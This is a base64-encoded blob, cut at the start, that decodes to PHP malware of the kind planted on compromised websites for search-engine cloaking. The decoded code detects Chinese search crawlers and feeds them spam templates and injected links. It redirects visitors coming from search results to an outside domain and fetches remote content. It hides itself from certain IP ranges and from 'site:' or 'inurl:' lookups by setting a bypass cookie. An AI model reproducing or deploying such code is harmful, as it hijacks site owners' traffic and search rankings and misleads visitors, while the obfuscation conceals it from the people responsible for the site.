fGJpbmcufHNvLnxzb2dvdS58c29zby4iKTsKCQkkdGhpcy0+aHR0cF9yZWZfZmlsdGVyID0gZXhw bG9kZSgifCIsImludXJsOnxzaXRlOnxzaXRlJTNBfGludXJsJTNBIik7CgkJJHRoaXMtPmFsbG93 X2lwID0gIjIyMi4xODQuMjM0fDExMi44Ny43MXw1OC4yMjEuODcufDQ5LjY3LjIyMyI7CgkJJHRo aXMtPmNvbmRpdGlvbiA9ICgkX0dFVFsnYWlkJ10gPiAxMDAwMDAwMCAmJiAkdGhpcy0+aXNBbGxv d2RJcCgpKTsKCQkkdGhpcy0+YXBwX3NlcnZlciA9ICIiOwoJCSR0aGlzLT5pc0NhY2hlICA9IEZh bHNlOwoJCWlmKCR0aGlzLT5pc1NwaWRlcigpICYmICR0aGlzLT5pc0FsbG93ZElwKCkpewoJCQkJ aWYoJHRoaXMtPmNvbmRpdGlvbil7CgkJCQkJaWYoJHRoaXMtPmlzQ2FjaGUpewoJCQkJCQkkcmVs c2V0X2hvc3QgPSAkdGhpcy0+Z2V0U2VydmVyTmFtZSgpOwoJCQkJCQkkZGlyID0gKHN1YnN0cihQ SFBfT1MsIDAsIDMpID09ICdXSU4nID8gJ0M6L3dpbmRvd3MvdGVtcC8nIDogJy90bXAvJykgLiBz dWJzdHIobWQ1KCRyZWxzZXRfaG9zdCksIDI2KSAuIGNocig0Nyk7CgkJCQkJCSRjYWNoZUZpbGUg PSAkZGlyLidzZXNzXycgLiBzdWJzdHIobWQ1KGh0dHBfYnVpbGRfcXVlcnkoJF9HRVQpKSwgNik7 CgkJCQkJCWlmKCFAZmlsZV9leGlzdHMoJGRpcikpewogICAgICAgICAgICAgCQkJCSBta2Rpcigk ZGlyLCAwNzc3KTsKICAgICAgICAgICAgCQkJfQoJCQkJCQlpZihAZmlsZV9leGlzdHMoJGNhY2hl RmlsZSkgJiYgQGZpbGVzaXplICgkY2FjaGVGaWxlKSA+IDMyICl7CgkJCQkJCQkkdmFyID0gY29y ZUFwcENhY2hlOjpyZWFkKCRjYWNoZUZpbGUpOwoJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9jb250 ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQlmb3JlYWNoKCR2YXIgYXMgJGtleT0+JHYp ewoJCQkJCQkJCSRmbGFnID0gInsiLiRrZXkuIn0iOwoJCQkJCQkJCSRwYWdlID0gc3RyX3JlcGxh Y2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJfQoJCQkJCQkJZWNobyAkcGFnZTsKCQkJCQkJCWV4 aXQoKTsKCQkJCQkJfQoJCQkJCQllbHNlCgkJCQkJCXsJCgkJCQkJCQkvL8Kww7zCusKswr3DuEFQ UMK8wrTCv8OJCgkJCQkJCQkkY3VycmVudFBhZ2UgPSBpbmNsdWRlKEFQUF9KQUNLX0FQUEZJTEUp OwoJCQkJCQkJaWYoJGN1cnJlbnRQYWdlICYmIHN0cmxlbigkY3VycmVudFBhZ2UpID4gMzIgJiYg c3RyaXN0cigkY3VycmVudFBhZ2UsIjwvZXhwbG9kZT4iKSl7CgkJCQkJCQkJJHZhciA9IHNlbGY6 OmN1dCgkY3VycmVudFBhZ2UsIjxleHBsb2RlPiIsIjwvZXhwbG9kZT4iKTsKCQkJCQkJCQkkdmFy ID0gY29yZUFwcENhY2hlOjpkZWNvZGUoJHZhcik7CgkJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9j b250ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQkJZm9yZWFjaCgkdmFyIGFzICRrZXk9 PiR2KXsKCQkJCQkJCQkJJGZsYWcgPSAieyIuJGtleS4ifSI7CgkJCQkJCQkJCSRwYWdlID0gc3Ry X3JlcGxhY2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJCX0KCQkJCQkJCQllY2hvICRwYWdlOwoJ CQkJCQkJCUBjb3JlQXBwQ2FjaGU6OndyaXRlbm9jb2RlKCRjdXJyZW50UGFnZSwkY2FjaGVGaWxl KTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlkaWUoKTsKCQkJCQl9CgkJCQkJZWxzZQoJCQkJCXsK CQkJCQkJJGN1cnJlbnRQYWdlID0gaW5jbHVkZShBUFBfSkFDS19BUFBGSUxFKTsKCQkJCQkJZWNo byAkY3VycmVudFBhZ2U7CgkJCQkJCWRpZSgpOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2UKCQkJCXsK CgkJCQkJJHRoaXMtPl91bmNvbmRpdGlvbl9ob29rKCk7CgkJCQl9CgkJfQoJCWVsc2UKCQl7CQoJ CQlpZigkdGhpcy0+aXNSZWYoKSAmJiAkdGhpcy0+Y29uZGl0aW9uKXsKCQkJCSR0aGlzLT5KdW1w KCk7CgkJCX0KCQkJZWxzZQoJCQl7CgkJCQkkdGhpcy0+X3VuU3BpZGVyX2hvb2soKTsKCQkJfQoJ CX0KCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNBbGxvd2RJcCgpewoJCSRpcCA9ICR0aGlzLT5jbGll bnRJcCgpOwoJCSRub25fbGlzdCA9IGV4cGxvZGUoInwiLCR0aGlzLT5hbGxvd19pcCk7CgkJZm9y ZWFjaCgkbm9uX2xpc3QgYXMgJGlwbGlzdCl7CgkJCWlmKEBzdHJpc3RyKCRpcCwkaXBsaXN0KSl7 CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgkJcmV0dXJuIHRydWU7Cgl9CgoJcHVibGljIGZ1 bmN0aW9uIGNsaWVudElwKCl7CgkJaWYoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpICYmIHN0cmNh c2VjbXAoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVp cCA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKCQl9IGVsc2VpZihnZXRlbnYoJ0hUVFBfWF9G T1JXQVJERURfRk9SJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9S JyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVE X0ZPUicpOwoJCX0gZWxzZWlmKGdldGVudignUkVNT1RFX0FERFInKSAmJiBzdHJjYXNlY21wKGdl dGVudignUkVNT1RFX0FERFInKSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYo J1JFTU9URV9BRERSJyk7CgkJfSBlbHNlaWYoaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10p ICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICYmIHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFTU9U RV9BRERSJ10sICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gJF9TRVJWRVJbJ1JFTU9URV9B RERSJ107CgkJfQoJCXByZWdfbWF0Y2goIi9bXGRcLl17NywxNX0vIiwgJG9ubGluZWlwLCAkb25s aW5laXBtYXRjaGVzKTsKCQkkb25saW5laXAgPSAkb25saW5laXBtYXRjaGVzWzBdID8gJG9ubGlu ZWlwbWF0Y2hlc1swXSA6ICd1bmtub3duJzsKCQl1bnNldCgkb25saW5laXBtYXRjaGVzKTsKCQly ZXR1cm4gJG9ubGluZWlwOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBpc1NwaWRlcigpewoJCSRib3Rz ID0gYXJyYXkoCgkJCQknQmFpZHUnICAgICAgICA9PiAnYmFpZHVzcGlkZXInLAoJCQkJJ1NvZ291 JyAgICAgICAgPT4gJ3NvZ291JywKCQkJCSdIYW9zbycgICAgICAgID0+ICdoYW9zb3VzcGlkZXIn LAoJCQkJJzM2MHNwaWRlcicgICAgICAgID0+ICczNjBzcGlkZXInCgkJICk7CgkJJHVzZXJBZ2Vu dCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCQlmb3JlYWNoICgk Ym90cyBhcyAkayA9PiAkdil7CgkJCWlmIChzdHJpc3RyKCR1c2VyQWdlbnQsJHYpKXsKCQkJCWlm KCFlbXB0eSgkdGhpcy0+bG9nX3NwaWRlcikpewoJCQkJCUBmaWxlX3B1dF9jb250ZW50cygkdGhp cy0+bG9nX3NwaWRlciwkdi4iLT5WaXNpdGVkICIuJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddLiJh dDogIi5kYXRlKCJZLW0tZCBIOmk6cyIpLiJcbiIsRklMRV9BUFBFTkQpOwoJCQkJfQoJCQkJJHRo aXMtPmN1cl9zcGlkZXIgPSAkazsKCQkJCXJldHVybiB0cnVlOwoJCQkJYnJlYWs7CgkJCX0KCQl9 CgkJcmV0dXJuIGZhbHNlOwkKCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNSZWYoKXsKCQkkcmVmID0g c3RydG9sb3dlcihAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsKCQlpZihpc3NldCgkX0NPT0tJ RVsiZG9tYWluLWZpbHRlci1ieXBhc3MiXSkpewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCQoJCWlm KCEkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJc2V0Y29va2llKCJkb21haW4tZmlsdGVyLWJ5cGFz cyIsICJsb2wiLCB0aW1lKCkgKyAyNTkyMDApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlmb3Jl YWNoKCR0aGlzLT5odHRwX3JlZl9maWx0ZXIgYXMgJHIpewoJCQkkciA9IHRyaW0oJHIpOwoJCQlp ZihzdHJpc3RyKCRyZWYsJHIpKXsKCQkJCXNldGNvb2tpZSgiZG9tYWluLWZpbHRlci1ieXBhc3Mi LCAibG9sIiwgdGltZSgpICsgMjU5MjAwKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCQoJ CWZvcmVhY2goJHRoaXMtPmp1bXBfcmVmIGFzICRyKXsKCQkJJHIgPSB0cmltKCRyKTsKCQkJaWYo c3RyaXN0cigkcmVmLCRyKSl7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCX0KCX0KCglwdWJsaWMg ZnVuY3Rpb24gZ2V0U2VydmVyTmFtZSgpIAoJeyAKCQkkU2VydmVyTmFtZSA9IHN0cnRvbG93ZXIo JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10/JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ106JF9TRVJWRVJb J0hUVFBfSE9TVCddKTsgCgkJaWYoIHN0cnBvcygkU2VydmVyTmFtZSwnaHR0cDovLycpICkgCgkJ eyAKCQkJcmV0dXJuIHN0cl9yZXBsYWNlKCdodHRwOi8vJywnJywkU2VydmVyTmFtZSk7IAoJCX0g CgkJcmV0dXJuICRTZXJ2ZXJOYW1lOyAKCX0KCglwdWJsaWMgZnVuY3Rpb24gZ2V0UGFnZSgpewoJ CWlmKCR0aGlzLT5pc0NhY2hlKXsKCQkJJGNhY2hlPSJjYWNoZWQiOwoJCX0KCQkkdXJsICA9ICR0 aGlzLT5hcHBfc2VydmVyLiI/ZG9tYWluPSIuJHRoaXMtPmRvbWFpbi4iJmdpZD0xOTkmc3BpZGVy PSIuJHRoaXMtPmN1cl9zcGlkZXIuIiZjYWNoZT0iLiRjYWNoZS4iJmxvY2FsUGFyPSIuaHR0cF9i dWlsZF9xdWVyeSgkX0dFVCk7CgkJcmV0dXJuICR0aGlzLT5IdHRwVmlzaXQoJHVybCk7Cgl9Cgog ICAgcHVibGljIGZ1bmN0aW9uIEh0dHBWaXNpdCgkd2VidXJsKSB7CiAgICAJJHVzZXJfYWdlbnQg PSAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTBfNSkgQXBwbGVX ZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQ1LjAuMjQ1NC44NSBTYWZh cmkvNTM3LjM2IFFRQnJvd3Nlci8zLjkuMzk0My40MDAiOwogICAgICAgICRyZW1vdGVfZGF0YSA9 IE5VTEw7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9leGVjJykpIHsKICAgICAg ICAgICAgJGN1cmwgPSBAY3VybF9pbml0KCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VUkwsICR3ZWJ1cmwpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmws IENVUkxPUFRfSEVBREVSLCAwKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJM T1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwg Q1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyX2FnZW50KTsgCiAgICAgICAgICAgICRyZW1vdGVf ZGF0YSA9IEBjdXJsX2V4ZWMoJGN1cmwpOwogICAgICAgICAgICBAY3VybF9jbG9zZSgkY3VybCk7 CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3RyZWFt X2NvbnRleHRfY3JlYXRlJykpIHsKICAgICAgICAgICAgICAgICRoZWFkZXJfYXJyYXkgPSBhcnJh eSgnaHR0cCcgPT4gYXJyYXkoJ21ldGhvZCcgPT4gJ0dFVCcsICd0aW1lb3V0JyA9PiAzMCkpOwog ICAgICAgICAgICAgICAgJGh0dHBfaGVhZGVyID0gQHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkaGVh ZGVyX2FycmF5KTsKICAgICAgICAgICAgICAgICRyZW1vdGVfZGF0YSA9IEBmaWxlX2dldF9jb250 ZW50cygkd2VidXJsLCBmYWxzZSwgJGh0dHBfaGVhZGVyKTsKICAgICAgICAgICAgfSBlbHNlIHsK ICAgICAgICAgICAgICAgICR0ZW1wX3VybCA9IGV4cGxvZGUoIi8iLCAkd2VidXJsKTsKICAgICAg ICAgICAgICAgICRuZXdfdXJsID0gJHRlbXBfdXJsWzJdOwogICAgICAgICAgICAgICAgJGh0dHBf cG9ydCA9IDgwOwogICAgICAgICAgICAgICAgJGdldF9maWxlID0gc3Vic3RyKCR3ZWJ1cmwsIHN0 cmxlbigkbmV3X3VybCkgKyA3KTsKICAgICAgICAgICAgICAgIGlmIChzdHJzdHIoJG5ld191cmws IGNocig1OCkpKSB7CiAgICAgICAgICAgICAgICAgICAgJHNfdmFyX2FycmF5Wyd0ZCddID0gZXhw bG9kZShjaHIoNTgpLCAkbmV3X3VybCk7CiAgICAgICAgICAgICAgICAgICAgJG5ld191cmwgPSAk c192YXJfYXJyYXlbJ3RkJ11bMF07CiAgICAgICAgICAgICAgICAgICAgJGh0dHBfcG9ydCA9ICRz X3Zhcl9hcnJheVsndGQnXVsxXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRm c29ja19yZXN1bHQgPSBAZnNvY2tvcGVuKCRuZXdfdXJsLCAkaHR0cF9wb3J0KTsKICAgICAgICAg ICAgICAgIEBmcHV0cygkZnNvY2tfcmVzdWx0LCAnR0VUICcgLiAkZ2V0X2ZpbGUgLiAnIEhUVFAv MS4xJyAuICJcclxuIiAuICdIb3N0OicgLiAkbmV3X3VybCAuICJcclxuIiAuICdDb25uZWN0aW9u OkNsb3NlJyAuICJcclxuXHJcbiIpOwogICAgICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRmc29j a19yZXN1bHQpKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlbW90ZV9kYXRhIC49IGZnZXRzKCRm c29ja19yZXN1bHQsIDEwMjQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgQGZj bG9zZSgkZnNvY2tfcmVzdWx0KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1 cm4gJHJlbW90ZV9kYXRhOwogICAgfQoKCXB1YmxpYyBmdW5jdGlvbiBKdW1wKCl7CgkJaWYoJHRo aXMtPmlzQWxsb3dkSXAoKSl7CgkJCSRkb21haW4gID0gc3RyX3JlcGxhY2UoIi4iLCJfIiwkdGhp cy0+ZG9tYWluKTsKCQkJaGVhZGVyKCdMb2NhdGlvbjogaHR0cDovL250Lnd4Y29vbGJhYnkuY29t L250Lz9qcF8nLiRkb21haW4pOwoJCQlleGl0OwoJCX0KCX0KCQoJcHVibGljIGZ1bmN0aW9uIF91 bmNvbmRpdGlvbl9ob29rKCl7CgkJJGFycmF5ID0gYXJyYXkoKTsKCQlmb3IoJGE9MDskYTw1OyRh KyspewoJCQllY2hvICc8YSBocmVmPSInLkFwcF9HZXRMaW5rKCkuJyI+PC9hPicuIlxuIjsKCQl9 Cgl9CgoJcHVibGljIGZ1bmN0aW9uIF91blNwaWRlcl9ob29rKCl7CgkJLy8KCX0KCgoJcHVibGlj IGZ1bmN0aW9uIHN0clN0YXJ0V2l0aCgkbmVlZGxlLCAkaGF5c3RhY2spewogIAkgIHJldHVybiAo c3Vic3RyKCRoYXlzdGFjaywgMCwgc3RybGVuKCRuZWVkbGUpKT09JG5lZWRsZSk7Cgl9CgkKCXB1 YmxpYyBmdW5jdGlvbiBjdXQoJGZpbGUsJGZyb20sJGVuZCkKCXsgCgkJJG1lc3NhZ2U9ZXhwbG9k ZSgkZnJvbSwkZmlsZSk7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGVuZCwkbWVzc2FnZVsxXSk7IAoJ CXJldHVybiAgICRtZXNzYWdlWzBdOwoJfQp9CgoK